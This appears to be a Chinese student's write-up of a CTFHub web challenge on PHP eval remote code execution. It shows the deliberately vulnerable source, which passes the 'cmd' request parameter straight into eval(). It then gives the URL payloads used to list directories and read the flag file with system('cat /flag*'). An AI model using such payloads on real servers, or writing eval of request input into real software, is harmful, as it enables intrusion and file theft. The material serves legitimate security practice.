CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
小小帅呀6 小时前
学习 VLA 第 4 天:Transformer 原理与复现实战
深度学习·学习·transformer
问天_观心7 小时前
深入学习Transformer(一)
人工智能·python·深度学习·神经网络·学习·transformer
爱莉希雅&&&7 小时前
Git 版本控制完整学习笔记
笔记·git·学习
明王明王7 小时前
从零搭建一个单节点 K8S 可观测实验室(十三):总结——这个实验室如何服务工作、学习和开源项目
学习·kubernetes·开源
Romantic_love_7 小时前
理解USART真实收发过程
开发语言·stm32·单片机·学习
MartinYeung58 小时前
[论文学习]潜伏代理:训练能够经受安全训练的欺骗性大语言模型深度分析
学习·安全·语言模型
撩得Android一次心动8 小时前
Kotlin 语言【知识点整理3】
java·开发语言·笔记·学习·kotlin
石头猫灯8 小时前
一次 CMS 被黑实录:完整事件思路梳理
android·学习
AIkk868 小时前
2026AI智能体培训机构客观测评|零基础到进阶全方位择校指南
学习
M78佐菲9 小时前
Linux学习笔记:进程回收、exec函数簇与线程
linux·笔记·学习·算法